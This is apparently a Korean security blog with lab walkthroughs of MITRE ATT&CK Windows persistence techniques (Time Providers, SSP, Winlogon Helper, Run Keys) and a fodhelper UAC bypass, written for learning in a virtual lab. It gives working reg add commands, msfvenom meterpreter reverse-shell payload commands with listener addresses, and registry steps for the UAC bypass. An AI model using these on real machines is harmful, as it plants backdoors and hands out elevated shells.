T1547.003 - Time Providers / Window

 

Description

공격자는 시스템이 부팅될  DLL 실행하기 위해 시간 공급자를 남용할  있습니다. Windows 시간 서비스(W32Time) 도메인   도메인 내에서 시간 동기화를 가능하게 합니다 W32Time 시간 공급자는 하드웨어/네트워크 리소스에서 타임스탬프를 검색하고  값을 다른 네트워크 클라이언트에 출력하는 역할을 합니다

시간 공급자는  하위 키에 등록된 DLL(동적 연결 라이브러리) 구현됩니다 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\서비스 제어 관리자가 지시하는 시간 공급자 관리자는 시스템 시작  /또는 매개변수가 변경될 때마다   아래에 나열되고 활성화된 시간 공급자를 로드하고 시작합니다

공격자는 특히 악성 DLL 시간 공급자로 등록하고 활성화하여 지속성을 설정하기 위해  아키텍처를 남용할  있습니다실행은 로컬 서비스 계정의 컨텍스트에서 실행되지만 시간 공급자 등록에는 관리자 권한이 필요합니다

 

Test

 -환경 : Windows 11

 - 악성 페이로드를 DLL 안에 심고, 경로를 임의로 조작해서 동기화마다 페이로드를 실행 가능하다.

   위에서는 temp/w32time.dll이 동기화마다 실행되게 하는 모습이다.

 

 

공격 실습.

※주의

이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.

악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.

 

 

환경

 - windows 바이러스 및 백신 탐지 off

 

 

(1) Admin CMD에서 DLL이 임의의 위치를 가리키도록 레지스트리 키를 수정.

 원본값

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll"

 

 - 값이 변경되었음.

 

 

(2) MSFVENOM을 사용하여 64bit 리버스 쉘 DLL 생성.

info 

 LHOST : 192.168.88.131

 LPORT : 9500

 RHOST : 172.30.1.21

 

  • msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.137.130 LPORT=9500 > reverse_64bit.dll

 

 

(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.

  • python -m SimpleHTTPServer

 

 

(4) 1번에서 지정한 NtpClient의 DllName 레지스트리의 값으로 이동, 이름변경

 

 

(5) 공격자의 시스템에서 reverse handler 시작.

 - Payload : windows/x64/meterpreter/reverse_tcp

 - LHOST : 192.168.88.131

 - LPORT : 9500

 

 

(6) reverse TCP handler 실행, w32time service 재시작

 - 본 환경에서는 w32time이 꺼져 있었으므로, 바로 실행. (sc stop w32time : w32time 서비스 중지)

 

 

(7) 세션이 생성된 핸들러 확인.

 

 

 

#참고문헌

https://pentestlab.blog/2019/10/22/persistence-time-providers/

https://medium.com/securebit/meterpreter-shell-as-a-32-64-bit-dll-2520604e41f6

 

#w32time 레지스트리 정상화

https://zkim0115.tistory.com/1227

 

T1547.005 - Security Support Provider

 

Description

공격자는 시스템 부팅 DLL 실행하기 위해 보안 지원 공급자(SSP) 남용할 있습니다. Windows SSP DLL 시스템 시작 LSA(로컬 보안 기관) 프로세스에 로드됩니다. LSA 로드되면 SSP DLL 로그온한 사용자의 도메인 암호 또는 스마트 카드 PIN 같이 Windows 저장된 암호화된 일반 텍스트 암호에 액세스할 있습니다.

SSP 구성은 개의 레지스트리  HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 저장됩니다 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages공격자는 SSP 추가하기 위해 이러한 레지스트리 키를 수정할 있습니다. SSP 다음에 시스템이 부팅되거나 AddSecurityPackage Windows API 기능이 호출될 로드됩니다[1]

 

 

Test

 -환경 : windows 10 admin privilege powershell

 

(1) 원본 레지스트리 값이다.

 

(2)Get-ItemProperty를 통해 임의의 ssp_dll을 삽입하였다. default : C:\Windows\System32

 

(3)임의의 DLL이 잘 들어간 것을 볼 수 있다.

 - 간단한 실습이라 악성 SSP DLL 동작확인 못함. (수정예정)

 

참고문헌 : https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.005/T1547.005.md

'Mitre Att&CT - Privilege Escalation > Boot or Logon Autostart Execution' 카테고리의 다른 글

Time Providers  (0) 2022.05.08
WinLogon Helper DLL  (0) 2022.05.08
Registry Run Keys / Startup Folder  (0) 2022.05.08

T1547.004 WinLogon Helper

 

Description

공격자는 사용자가 로그인할 DLL /또는 실행 파일을 실행하기 위해 Winlogon 기능을 남용할 있습니다.

Winlogon.exe 로그온/로그오프 작업과 Ctrl-Alt-Delete 의해 트리거되는 보안 주의 시퀀스(SAS) 담당하는 Windows 구성 요소입니다.

HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\  레지스트리 항목은 

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Winlogon 지원하는

추가 도우미 프로그램 기능을 관리하는 사용됩니다

 

 Test

 -환경 : Windows 10 admin privilege cmd

 

 

(1) 원본 레지스트리 값 (REG_SZ)

 

(2) 레지스트리 값 변경


(3) 실행확인(로그오프 후 재로그인)

 

공격 실습.

※주의

이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.

악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.

 

+ 실습 시 해당 레지스트리 값에서 userinit.exe와 explorer.exe의 값은 절대 유지하시길 바라며

두번째 인자로 오는 악성 프로그램도 무한루프에 빠지는 등의 기능이 존재하지 않아야 합니다.

이 레지스트리의 값을 잘못 변경하면 드라이브를 포맷해야할 수 있습니다.(가상환경에서만 추천드림)

 

 

 

환경

 

 

(1) 레지스트리 값 변경

 - Shell과 Userinit에서 악용할 수 있는데, Userinit으로 실습할 예정.

 

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\temp\backdoor.exe" /f

 - 잘 변경되었다.

 

 

(2) MSFVENOM을 사용하여 64bit 리버스 쉘 exe파일 생성.

info 

 LHOST : 192.168.75.128

 LPORT : 9500

 RHOST : 172.25.177.49

 

  • sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=9500 -f exe > backdoor.exe 

 

 

(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.

  • python -m SimpleHTTPServer

 

 

(4) 1번에서 지정한 Userinit의 레지스트리의 값으로 이동

 

 

(5) 공격자의 시스템에서 reverse handler 시작.

 - Payload : windows/x64/meterpreter/reverse_tcp

 - LHOST : 192.168.75.128

 - LPORT : 9500

 

 

(6) 피해자 환경 로그아웃 후 재로그인

 

 

(7) 세션이 생성된 핸들러 확인.

 - 사용자를 로그아웃하고 재로그인하거나, 재부팅 시 레지스트리의 값이 작동하는 모습이다.

 

 

참고문헌 : https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/

T1547.001 Registry Run Keys / Startup Folder - Window

 

Description

 부팅 프로그램과 서비스를 시작하거나 로드할 , windows 레지스트리는 시작폴더보다 우선이다. 보통의 RootKit Windows레지스트리 또는 화이트리스트 영역에 파일을 숨기기 때문에 전문적인 Malware 방지 솔루션이나 제품을 사용하지 않으면 감지가 힘들다.         이러한 악의적인 실행 키는 부팅마다 자동으로 실행되기 때문에, 지속적인 피해를 입는다.

 

Test

- 환경 : windows11(powershell:user)

 - 4개의 StartupFolder 검사하는 스크립트를 실행했으나, 악성으로 보이는 파일이 나타나지 않았다.

 

 

 

참고문헌 : https://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys/

'Mitre Att&CT - Privilege Escalation > Boot or Logon Autostart Execution' 카테고리의 다른 글

Time Providers  (0) 2022.05.08
Security Support Provider  (0) 2022.05.08
WinLogon Helper DLL  (0) 2022.05.08

T1548.002 - Window UAC bypass

 

Description

 공격자는 UAC 메커니즘을 우회하여 시스템의 프로세스 권한을 높일 있습니다. Windows UAC(사용자 계정 컨트롤) 사용하면 프로그램이 권한을 상승(낮음에서 높음까지의 무결성 수준으로 추적)하여 관리자 수준 권한으로 작업을 수행할 있습니다사용자에게 미치는 영향은 높은 적용에서 작업을 거부하는 것부터 사용자가 로컬 관리자 그룹에 있고 프롬프트를 통해 클릭하는 경우 작업을 수행하도록 허용하거나 사용자가 작업을 완료하기 위해 관리자 암호를 입력하도록 허용하는 것까지 다양합니다.

 

Test

 - 환경 : windows 10(install 22.04.04),window virus & threat protecion off, window powershell(user) / windows 11

 

(1). New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

(2). New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

(3). Start cmd -> fodhelper -> “administrator cmd open”

 

 

참고문헌 : https://community.spiceworks.com/topic/2314747-bypassing-uac-in-windows10-in-2-lines-only

+ Recent posts